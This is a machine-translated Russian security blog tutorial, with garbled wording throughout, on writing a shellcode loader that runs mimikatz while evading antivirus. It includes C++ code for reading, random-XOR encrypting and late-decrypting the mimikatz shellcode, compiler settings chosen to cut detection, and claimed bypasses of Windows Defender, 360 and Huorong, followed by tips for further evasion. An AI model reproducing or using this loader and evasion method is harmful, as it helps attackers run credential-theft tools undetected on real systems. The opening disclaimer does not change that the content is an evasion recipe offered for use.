Технические статьи Koi Security предназначены только для справки. Информация, представленная в этой статье, предназначена только для изучения и использования специалистами по сетевой безопасности. Не используйте техническую информацию, содержащуюся в статье, для взлома какой-либо компьютерной системы без разрешения. Пользователь несет ответственность за любые прямые или косвенные последствия и убытки, возникшие в результате использования информации, представленной в настоящей статье. Если есть какое-либо нарушение, пожалуйста, сообщите нам, и мы немедленно удалим его и принесем извинения. Инструменты, представленные в этой статье, предназначены только для обучения и не могут использоваться для других целей. Удалите файлы инструментов в течение 24 часов! Спасибо!
Эта статья является вводной статьей для новичков, чтобы избежать убийств. С моей точки зрения, как написать демонстрацию загрузки локальной разделенной памяти mimikatz, чтобы избежать убийств:
Здесь не используется какая-либо превосходная антивирусная технология, а используются лишь некоторые простые и понятные методы, позволяющие избежать антивирусных программ Windows Defender, 360 и Tinder.
Если вы новичок в борьбе с убийствами, впервые читаете мою статью и мало что знаете о борьбе с убийствами, вы можете сначала прочитать основную статью о борьбе с убийствами, которую я написал:
Вводное руководство по работе с антивирусом и часто задаваемые вопросы для новичков (1)
Создайте консольный проект C++, используя vs2022:
Измените конфигурацию выпуска и выберите компилятор vs 2015 (если он не установлен, повторно откройте установочный пакет vs, чтобы установить его):
Выберите целевую платформу:
Измените оптимизацию на минимизацию размера /O1:
Выберите многопоточность /MT для генерации кода. Использование /MD имеет проблемы совместимости, поэтому обычно не используется:
Создать список — «Нет», если вы не используете список, отчеты о вирусах будут ниже:
Конфигурации, представленные здесь, представляют собой конфигурационные решения, которые я протестировал для обеспечения лучшего антивирусного эффекта.
Найдите самый простой загрузчик в проекте github ниже:
https://github.com/ReversingID/Shellcode-Loader/tree/master/windows
Этот проект содержит относительно полный набор загрузчиков различных типов. Каталог выделения содержит различные загрузчики API, которые применяются к памяти шелл-кода. Каталог выполнения содержит загрузчики, которые выполняют шелл-код различными способами, такие как загрузчики отражения и загрузчик потоков, загрузчик обратного вызова. , и т. д.:
Выберем самый простой загрузчик. Да это вы, самый часто используемый и простой отражательный загрузчик:
Скопируйте его напрямую:
Упростите его, удалив все ненужные части:
Используйте pe2shc (https://github.com/hasherezade/pe_to_shellcode), чтобы преобразовать mimikatz в шеллкод:
Используйте следующую функцию для чтения шеллкода из mim.txt:
unsigned char* inputFile(const char* filename, int &len) {
FILE* fp = NULL;
int err = fopen_s(&fp, filename, "rb");
if (err != 0 || !fp) {
exit(-1);
}
fseek(fp, 0, SEEK_END);
len = ftell(fp);
rewind(fp);
unsigned char* lpAddress = (unsigned char*)malloc(len);
fread(lpAddress, 1, len, fp);
fclose(fp);
return lpAddress;
}
Исправлять Разрешение на выполнение здесь начинается с выполнения чтения.PAGE_EXECUTE_READ
Исправлять Чтение и запись выполненияPAGE_EXECUTE_READWRITE
,в противном случае shellcode Невозможно выполнить:
Исправлятьсвойство->отлаживать->工作目录为 mim.txt Расположение:
Успешное выполнение шеллкода:
Хоть и был написан локальный отдельный загрузчик на шаге 2, но это всего лишь загрузчик и его нельзя защитить от уничтожения. Его нужно обработать ниже.
Во-первых, зашифруйте шелл-код. Не используйте слишком простые алгоритмы шифрования, такие как шифрование XOR, но и не используйте слишком сложные алгоритмы шифрования, такие как aes, лучше всего использовать собственный алгоритм шифрования XOR;
На самом деле, вам не нужно слишком беспокоиться об алгоритме шифрования и дешифрования. Пока зашифрованный контент достаточно запутан, вы можете добиться эффекта предотвращения уничтожения.
Поэтому здесь используется шифрование и дешифрование случайных значений XOR. Каждый бит шелл-кода будет зашифрован XOR со случайным значением, что может привести к достаточной путанице, но недостатки также очевидны. Значение энтропии после шифрования слишком велико, достигая 7,9. и значение энтропии слишком велико. Легко вызвать обнаружение путем уничтожения программного обеспечения, поэтому этот алгоритм шифрования не подходит для встроенного шелл-кода, но на метод локального разделения это не влияет:
void encrypt(unsigned char* input, int len, unsigned int key) {
srand(key);
for (int i = 0; i < len; i++) {
input[i] = input[i] ^ key;
input[i] = input[i] ^ (rand() % len + 1);
}
}
void decrypt(unsigned char* input, int len, unsigned int key) {
srand(key);
for (int i = 0; i < len; i++) {
input[i] = input[i] ^ (rand() % len + 1);
input[i] = input[i] ^ key;
}
}
Щелкните правой кнопкой мыши решение, выберите создание нового консольного проекта C++ и назовите его crypto:
Мы создаем новый проект для чтения шеллкода, его расшифровки и последующего вывода зашифрованного шеллкода:
Полное содержание выглядит следующим образом:
#include <iostream>
void encrypt(unsigned char* input, int len, unsigned int key) {...}
void decrypt(unsigned char* input, int len, unsigned int key) {...}
unsigned char* inputFile(const char* filename, int& len) {
FILE* fp = NULL;
int err = fopen_s(&fp, filename, "rb");
if (err != 0 || !fp) {
printf("Error: unable to open file for reading\n");
exit(-1);
}
fseek(fp, 0, SEEK_END);
len = ftell(fp);
rewind(fp);
unsigned char* lpAddress = (unsigned char*)malloc(len);
fread(lpAddress, 1, len, fp);
fclose(fp);
return lpAddress;
}
void outputFile(const char* filename, unsigned char * buf, int len) {
FILE* fp = NULL;
fopen_s(&fp, filename, "wb");
if (!fp) {
printf("Error: unable to open file for writing\n");
exit(-1);
}
fwrite(buf, 1, len, fp);
fclose(fp);
}
int main()
{
int key = 123006;
int len;
unsigned char * buf = inputFile("mim.txt", len);
encrypt(buf, len, key);
outputFile("mim_e.txt", buf, len);
}
Здесь используется ключ 123006, содержимое mim.txt считывается, шифруется случайным значением XOR и выводится в mim_e.txt.
Щелкните правой кнопкой мыши криптопроект и установите его в качестве запускаемого проекта:
Затем нажмите «Выполнить», чтобы вывести зашифрованный файл mim_e.txt:
Вернитесь назад, измените код загрузчика и добавьте функцию дешифрования:
Здесь важнее сроки расшифровки. Видно, что так оно и есть. shellcode После перемещения в память и изменения разрешений выполнение отражения shellcode До,Короче говоря, запомните одно предложение: не расшифровывайте слишком рано. Время расшифровки должно быть как можно более поздним. Чем раньше вы расшифроваете, тем больше риск разоблачения.
Если мы посмотрим на размер зашифрованного файла, то увидим, что его размер составляет 1373696:
Затем измените код и пропишите длину в коде:
Я удалил часть, которая считывает длину файла в функции inutFile, и напрямую присвоил payload_len значение 1373696. Это сделано для того, чтобы избежать чтения длины шеллкода из файла и тем самым снизить характеристики.
Измените режим отладки на нет, а затем скомпилируйте в режиме выпуска:
Компилируем и выполняем, mimikatz выполняется нормально, а загрузчик пишется:
Защитник Windows сканировался и выполнялся нормально, не будучи убитым:
Обратите внимание: в Защитнике Windows есть сканирование памяти. Если вы не выполнили антивирусную обработку исходного кода, не используйте версию, скомпилированную самостоятельно. Вместо этого используйте официально скомпилированную версию. Официально скомпилированная версия имеет лучший антивирусный эффект. Если вы скомпилируете его самостоятельно, версия может легко оставить коды функций в исходном коде, вызывая сканирование и уничтожение памяти.
360. Сканирование Tinder пройдено:
360 не имеет сканирования памяти, поэтому вам нужно выполнить только статическое сканирование перед его выполнением. Стоит отметить, что сканирование Tinder по щелчку правой кнопкой мыши на самом деле включает 7-секундное сканирование в песочнице, но оно ограничено одним файлом. , поэтому это не влияет на локальные методы разделения бесполезны.
Вот демонстрация с нуля Создать проект из->Написание загрузчика、Улучшить загрузчик->Весь процесс предотвращения убийства,use использует локальное разделение и шифрование и дешифрование случайных значений XOR, чтобы избежать уничтожения.
Если вы еще не удовлетворены и хотите пойти еще дальше и встроить шелл-код в exe-файл для загрузки одного файла, то алгоритма шифрования, используемого в этой статье, недостаточно, и необходим лучший алгоритм шифрования. Алгоритм должен соответствовать. следующие три условия:
Шифрование и дешифрование случайных значений XOR, используемые в этой статье, соответствуют двум вышеуказанным пунктам, но после шифрования шелл-кода значение энтропии достигает 7,9, что является очень высоким диапазоном. Фактически, алгоритм шифрования все еще имеет очень большие возможности для оптимизации. Например, текущий метод шифрования — это XOR случайного значения для каждого бита шеллкода, тогда я хотел бы его улучшить. Можно ли уменьшить значение энтропии без XOR случайного значения для всех битов? Я просто упомянул здесь один момент, и вам решать его.
Конечно, просто полагаться на алгоритм шифрования с более низким значением энтропии может быть недостаточно, поскольку антивирусное программное обеспечение будет обратно расшифровывать шелл-код на основе кода, и его также необходимо комбинировать с динамическими ключами и цветочными кодами для достижения лучший антивирусный эффект.